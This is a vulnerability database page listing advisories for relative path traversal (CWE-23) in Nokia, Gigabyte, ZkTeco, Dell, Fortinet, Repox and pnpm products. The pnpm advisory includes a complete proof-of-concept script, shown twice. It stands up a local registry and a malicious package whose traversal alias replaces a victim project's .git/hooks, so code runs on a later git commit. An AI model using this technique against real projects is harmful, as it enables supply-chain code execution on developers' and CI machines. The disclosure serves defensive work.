GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-23

Allowed

Relative Path Traversal

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

843 vulnerabilities reference this CWE, most recent first.

GHSA-HR6R-6H98-GH58

Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-07 18:31
VLAI
Details

Nokia MantaRay NM is vulnerable to a Relative Path Traversal vulnerability due to improper validation of input parameter on the file system in Software Manager application.

Severity
5.7 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-07T16:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Nokia MantaRay NM is vulnerable to a Relative Path Traversal vulnerability due to improper validation of input parameter on the file system in Software Manager application.",
  "id": "GHSA-hr6r-6h98-gh58",
  "modified": "2026-04-07T18:31:36Z",
  "published": "2026-04-07T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24819"
    },
    {
      "type": "WEB",
      "url": "https://www.nokia.com/we-are-nokia/security/product-security-advisory/cve-2025-24819"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HVJ3-H37V-8XMQ

Vulnerability from github – Published: 2026-03-30 09:31 – Updated: 2026-03-30 09:31
VLAI
Details

Gigabyte Control Center developed by GIGABYTE has an Arbitrary File Write vulnerability. When the pairing feature is enabled, unauthenticated remote attackers can write arbitrary files to any location on the underlying operating system, leading to arbitrary code execution or privilege escalation.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-30T08:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "Gigabyte Control Center developed by GIGABYTE has an Arbitrary File Write vulnerability. When the pairing feature is enabled, unauthenticated remote attackers can write arbitrary files to any location on the underlying operating system, leading to arbitrary code execution or privilege escalation.",
  "id": "GHSA-hvj3-h37v-8xmq",
  "modified": "2026-03-30T09:31:29Z",
  "published": "2026-03-30T09:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4415"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10804-689cd-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10803-ae014-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HWX4-2J3J-G496

Vulnerability from github – Published: 2026-06-26 22:55 – Updated: 2026-06-26 22:55
VLAI
Summary
pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement
Details

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

  • .husky or .githooks for Git hook dispatchers
  • scripts/, tools/, bin/, or tests/ for project scripts and CI commands
  • .github/actions/<name> for local GitHub Actions used later in the workflow
  • dist/ or other publish/build output directories before pnpm pack or pnpm publish
  • node_modules/.bin or undeclared node_modules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"

cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
  "name": "bad",
  "version": "1.0.0",
  "description": "transitive registry package",
  "dependencies": {
    "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
  }
}
JSON

cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
  "name": "normal",
  "version": "1.0.0",
  "description": "normal looking package from a registry",
  "dependencies": {
    "bad": "1.0.0"
  }
}
JSON

(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)

node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')

const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) {
  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
    .toString()
    .trim()
    .split(/\s+/)
    .pop()
}

function integrity (filename) {
  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
    .toString('base64')
}

function packument (pkgName, req) {
  const filename = `${pkgName}-1.0.0.tgz`
  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
  const origin = `http://${req.headers.host}`
  return {
    name: pkgName,
    'dist-tags': {
      latest: '1.0.0',
    },
    versions: {
      '1.0.0': {
        ...manifest,
        dist: {
          tarball: `${origin}/${pkgName}/-/${filename}`,
          shasum: shasum(filename),
          integrity: integrity(filename),
        },
      },
    },
  }
}

const server = http.createServer((req, res) => {
  const pathname = new URL(req.url, 'http://local.invalid').pathname
  if (req.method !== 'GET') {
    res.writeHead(405)
    res.end('method not allowed')
    return
  }
  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
    const pkgName = pathname.slice(1)
    res.writeHead(200, { 'content-type': 'application/json' })
    res.end(JSON.stringify(packument(pkgName, req)))
    return
  }
  const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
  if (tarballMatch) {
    const file = path.join(tarballsDir, tarballMatch[2])
    res.writeHead(200, { 'content-type': 'application/octet-stream' })
    fs.createReadStream(file).pipe(res)
    return
  }
  res.writeHead(404)
  res.end('not found')
})

server.listen(0, '127.0.0.1', () => {
  fs.writeFileSync(portFile, String(server.address().port))
  fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM

WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
  WAIT_COUNT=$((WAIT_COUNT + 1))
  if [ "$WAIT_COUNT" -gt 100 ]; then
    echo "local registry did not start" >&2
    exit 1
  fi
  sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")

cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"

cat > package.json <<'JSON'
{
  "name": "victim",
  "version": "1.0.0"
}
JSON

cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF

printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt
git add change.txt

set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e

printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

pnpm
npm
node
git
openssl

Expected output:

git commit exit code: 0
git commit stderr:
PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:55:51Z",
    "nvd_published_at": "2026-06-25T18:16:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\npnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.\n\n`.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:\n\n- `.husky` or `.githooks` for Git hook dispatchers\n- `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands\n- `.github/actions/\u003cname\u003e` for local GitHub Actions used later in the workflow\n- `dist/` or other publish/build output directories before `pnpm pack` or\n  `pnpm publish`\n- `node_modules/.bin` or undeclared `node_modules/\u003cname\u003e` paths used by later\n  command or module resolution\n\nTargets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.\n\nThis was reproduced with `pnpm@11.2.1`.\n\n## Impact\n\nUsers often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.\n\nExamples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`.\n\n## Root Cause\n\npnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory.\n\nConceptually, a transitive alias like this:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nis eventually treated like:\n\n```text\npath.join(parentPackageNodeModulesDir, \"@x/../../../../../.git/hooks\")\n```\n\nThe normalized destination escapes the dependency\u0027s `node_modules` directory and lands at the victim project\u0027s `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.\n\nThe dependency chain is:\n\n```text\nvictim installs normal@1.0.0\nnormal@1.0.0 -\u003e bad@1.0.0\nbad@1.0.0 -\u003e payload-hooks@1.0.0 through a traversal alias\n```\n\nThe malicious transitive package metadata contains:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nBecause this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.\n\n## Proof Of Concept\n\nRun:\n\n```sh\n./run.sh\n```\n\n``` sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\nWORKDIR=\"$SCRIPT_DIR/demo-workdir\"\nREGISTRY_DIR=\"$WORKDIR/registry\"\nTARBALLS_DIR=\"$REGISTRY_DIR/tarballs\"\nVICTIM_DIR=\"$WORKDIR/victim\"\nREADY_FILE=\"$WORKDIR/registry-ready\"\nPORT_FILE=\"$WORKDIR/registry-port\"\n\nrm -rf \"$WORKDIR\"\nmkdir -p \"$REGISTRY_DIR/payload-hooks\" \"$REGISTRY_DIR/bad\" \"$REGISTRY_DIR/normal\" \"$TARBALLS_DIR\" \"$VICTIM_DIR\"\n\ncat \u003e \"$REGISTRY_DIR/payload-hooks/package.json\" \u003c\u003c\u0027JSON\u0027\n{\n  \"name\": \"payload-hooks\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"pre-commit\": \"pre-commit\"\n  },\n  \"files\": [\n    \"pre-commit\"\n  ]\n}\nJSON\n\ncat \u003e \"$REGISTRY_DIR/payload-hooks/pre-commit\" \u003c\u003c\u0027EOF\u0027\n#!/bin/sh\necho PWNED \u003e\u00262\nexit 0\nEOF\nchmod +x \"$REGISTRY_DIR/payload-hooks/pre-commit\"\n\ncat \u003e \"$REGISTRY_DIR/bad/package.json\" \u003c\u003c\u0027JSON\u0027\n{\n  \"name\": \"bad\",\n  \"version\": \"1.0.0\",\n  \"description\": \"transitive registry package\",\n  \"dependencies\": {\n    \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n  }\n}\nJSON\n\ncat \u003e \"$REGISTRY_DIR/normal/package.json\" \u003c\u003c\u0027JSON\u0027\n{\n  \"name\": \"normal\",\n  \"version\": \"1.0.0\",\n  \"description\": \"normal looking package from a registry\",\n  \"dependencies\": {\n    \"bad\": \"1.0.0\"\n  }\n}\nJSON\n\n(cd \"$REGISTRY_DIR/payload-hooks\" \u0026\u0026 npm pack --pack-destination \"$TARBALLS_DIR\" --silent \u003e/dev/null)\n(cd \"$REGISTRY_DIR/bad\" \u0026\u0026 npm pack --pack-destination \"$TARBALLS_DIR\" --silent \u003e/dev/null)\n(cd \"$REGISTRY_DIR/normal\" \u0026\u0026 npm pack --pack-destination \"$TARBALLS_DIR\" --silent \u003e/dev/null)\n\nnode - \"$REGISTRY_DIR\" \"$READY_FILE\" \"$PORT_FILE\" \u003c\u003c\u0027NODE\u0027 \u0026\nconst http = require(\u0027node:http\u0027)\nconst fs = require(\u0027node:fs\u0027)\nconst path = require(\u0027node:path\u0027)\nconst { execFileSync } = require(\u0027node:child_process\u0027)\n\nconst [registryDir, readyFile, portFile] = process.argv.slice(2)\nconst tarballsDir = path.join(registryDir, \u0027tarballs\u0027)\n\nfunction shasum (filename) {\n  return execFileSync(\u0027openssl\u0027, [\u0027dgst\u0027, \u0027-sha1\u0027, path.join(tarballsDir, filename)])\n    .toString()\n    .trim()\n    .split(/\\s+/)\n    .pop()\n}\n\nfunction integrity (filename) {\n  return \u0027sha512-\u0027 + execFileSync(\u0027openssl\u0027, [\u0027dgst\u0027, \u0027-sha512\u0027, \u0027-binary\u0027, path.join(tarballsDir, filename)])\n    .toString(\u0027base64\u0027)\n}\n\nfunction packument (pkgName, req) {\n  const filename = `${pkgName}-1.0.0.tgz`\n  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, \u0027package.json\u0027), \u0027utf8\u0027))\n  const origin = `http://${req.headers.host}`\n  return {\n    name: pkgName,\n    \u0027dist-tags\u0027: {\n      latest: \u00271.0.0\u0027,\n    },\n    versions: {\n      \u00271.0.0\u0027: {\n        ...manifest,\n        dist: {\n          tarball: `${origin}/${pkgName}/-/${filename}`,\n          shasum: shasum(filename),\n          integrity: integrity(filename),\n        },\n      },\n    },\n  }\n}\n\nconst server = http.createServer((req, res) =\u003e {\n  const pathname = new URL(req.url, \u0027http://local.invalid\u0027).pathname\n  if (req.method !== \u0027GET\u0027) {\n    res.writeHead(405)\n    res.end(\u0027method not allowed\u0027)\n    return\n  }\n  if (pathname === \u0027/normal\u0027 || pathname === \u0027/bad\u0027 || pathname === \u0027/payload-hooks\u0027) {\n    const pkgName = pathname.slice(1)\n    res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 })\n    res.end(JSON.stringify(packument(pkgName, req)))\n    return\n  }\n  const tarballMatch = pathname.match(/^\\/(normal|bad|payload-hooks)\\/-\\/(.+\\.tgz)$/)\n  if (tarballMatch) {\n    const file = path.join(tarballsDir, tarballMatch[2])\n    res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 })\n    fs.createReadStream(file).pipe(res)\n    return\n  }\n  res.writeHead(404)\n  res.end(\u0027not found\u0027)\n})\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n  fs.writeFileSync(portFile, String(server.address().port))\n  fs.writeFileSync(readyFile, \u0027ready\u0027)\n})\nNODE\nREGISTRY_PID=$!\ntrap \u0027kill \"$REGISTRY_PID\" 2\u003e/dev/null || true\u0027 EXIT INT TERM\n\nWAIT_COUNT=0\nwhile [ ! -f \"$READY_FILE\" ]; do\n  WAIT_COUNT=$((WAIT_COUNT + 1))\n  if [ \"$WAIT_COUNT\" -gt 100 ]; then\n    echo \"local registry did not start\" \u003e\u00262\n    exit 1\n  fi\n  sleep 0.05\ndone\nREGISTRY_PORT=$(cat \"$PORT_FILE\")\n\ncd \"$VICTIM_DIR\"\ngit init -q\ngit config user.email demo@example.invalid\ngit config user.name \"Demo User\"\n\ncat \u003e package.json \u003c\u003c\u0027JSON\u0027\n{\n  \"name\": \"victim\",\n  \"version\": \"1.0.0\"\n}\nJSON\n\ncat \u003e .npmrc \u003c\u003cEOF\nregistry=http://127.0.0.1:$REGISTRY_PORT/\nEOF\n\nprintf \u0027pnpm: \u0027\npnpm --version\nprintf \u0027registry: http://127.0.0.1:%s/\\n\u0027 \"$REGISTRY_PORT\"\nprintf \u0027victim: %s\\n\\n\u0027 \"$VICTIM_DIR\"\n\npnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent\n\necho \u0027trigger commit\u0027 \u003e change.txt\ngit add change.txt\n\nset +e\nCOMMIT_STDERR=$(git commit -m \u0027trigger pre-commit\u0027 2\u003e\u00261 \u003e/dev/null)\nCOMMIT_STATUS=$?\nset -e\n\nprintf \u0027\\ngit commit exit code: %s\\n\u0027 \"$COMMIT_STATUS\"\nprintf \u0027git commit stderr:\\n%s\\n\u0027 \"$COMMIT_STDERR\"\n\n```\n\nThe script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`.\n\nRequirements:\n\n```text\npnpm\nnpm\nnode\ngit\nopenssl\n```\n\nExpected output:\n\n```text\ngit commit exit code: 0\ngit commit stderr:\nPWNED\n```\n\n`PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.",
  "id": "GHSA-hwx4-2j3j-g496",
  "modified": "2026-06-26T22:55:51Z",
  "published": "2026-06-26T22:55:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50016"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement"
}

GHSA-HXRC-P4FV-GC5G

Vulnerability from github – Published: 2024-05-21 12:30 – Updated: 2024-05-21 12:30
VLAI
Details

Relative Path Traversal vulnerability in ZkTeco-based OEM devices allows an attacker

to write any file on the system with root privileges.

This issue affects ZkTeco-based OEM devices (ZkTeco ProFace X, Smartec ST-FR043, Smartec ST-FR041ME and possibly others) with the ZAM170-NF-1.8.25-7354-Ver1.0.0 and possibly others.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T11:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Relative Path Traversal vulnerability in ZkTeco-based OEM devices allows an attacker \n\nto write any file on the system with root privileges.\n\n\nThis issue affects \nZkTeco-based OEM devices (ZkTeco ProFace X, Smartec ST-FR043, Smartec \nST-FR041ME and possibly others) with the ZAM170-NF-1.8.25-7354-Ver1.0.0 \nand possibly others.",
  "id": "GHSA-hxrc-p4fv-gc5g",
  "modified": "2024-05-21T12:30:52Z",
  "published": "2024-05-21T12:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klsecservices/Advisories/blob/master/K-ZkTeco-2023-003.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXW6-3GMW-QJX9

Vulnerability from github – Published: 2025-10-30 18:31 – Updated: 2025-10-30 18:31
VLAI
Details

Dell Secure Connect Gateway (SCG) 5.0 Application and Appliance version(s) 5.26.00.00 - 5.30.00.00, contain a Relative Path Traversal vulnerability in the SCG exposed for an internal collection download REST API (if this REST API is enabled by Admin user from UI). A low privileged attacker with remote access could potentially exploit this vulnerability, leading to allowing relative path traversal to restricted resources.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-30T16:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Dell Secure Connect Gateway (SCG) 5.0 Application and Appliance version(s) 5.26.00.00 - 5.30.00.00, contain a Relative Path Traversal vulnerability in the SCG exposed for an internal collection download REST API (if this REST API is enabled by Admin user from UI). A low privileged attacker with remote access could potentially exploit this vulnerability, leading to allowing relative path traversal to restricted resources.",
  "id": "GHSA-hxw6-3gmw-qjx9",
  "modified": "2025-10-30T18:31:09Z",
  "published": "2025-10-30T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46363"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000385239/dsa-2025-386-security-update-for-dell-secure-connect-gateway-rest-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXWC-32R9-7287

Vulnerability from github – Published: 2025-08-12 21:31 – Updated: 2025-08-12 21:31
VLAI
Details

Multiple relative path traversal vulnerabilities [CWE-23] in Fortinet FortiMail version 7.6.0 through 7.6.1 and before 7.4.3, FortiVoice version 7.0.0 through 7.0.5 and before 7.4.9, FortiRecorder version 7.2.0 through 7.2.1 and before 7.0.4, FortiCamera & FortiNDR version 7.6.0 and before 7.4.6 may allow a privileged attacker to read files from the underlying filesystem via crafted CLI requests.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-40588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T19:15:27Z",
    "severity": "MODERATE"
  },
  "details": "Multiple relative path traversal vulnerabilities [CWE-23] in Fortinet FortiMail version 7.6.0 through 7.6.1 and before 7.4.3, FortiVoice version 7.0.0 through 7.0.5 and before 7.4.9, FortiRecorder version 7.2.0 through 7.2.1 and before 7.0.4, FortiCamera  \u0026 FortiNDR version 7.6.0 and before 7.4.6 may allow a privileged attacker to read files from the underlying filesystem via crafted CLI requests.",
  "id": "GHSA-hxwc-32r9-7287",
  "modified": "2025-08-12T21:31:20Z",
  "published": "2025-08-12T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40588"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-309"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J23G-RWV7-HXF5

Vulnerability from github – Published: 2023-12-13 12:30 – Updated: 2023-12-13 12:30
VLAI
Details

A path traversal vulnerability has been detected in Repox, which allows an attacker to read arbitrary files on the running server, resulting in a disclosure of sensitive information. An attacker could access files such as application code or data, backend credentials, operating system files...

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-13T10:15:12Z",
    "severity": "HIGH"
  },
  "details": "A path traversal vulnerability has been detected in Repox, which allows an attacker to read arbitrary files on the running server, resulting in a disclosure of sensitive information. An attacker could access files such as application code or data, backend credentials, operating system files...",
  "id": "GHSA-j23g-rwv7-hxf5",
  "modified": "2023-12-13T12:30:42Z",
  "published": "2023-12-13T12:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6722"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-repox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4W4-G97J-M5Q9

Vulnerability from github – Published: 2025-02-28 03:30 – Updated: 2025-10-17 18:31
VLAI
Details

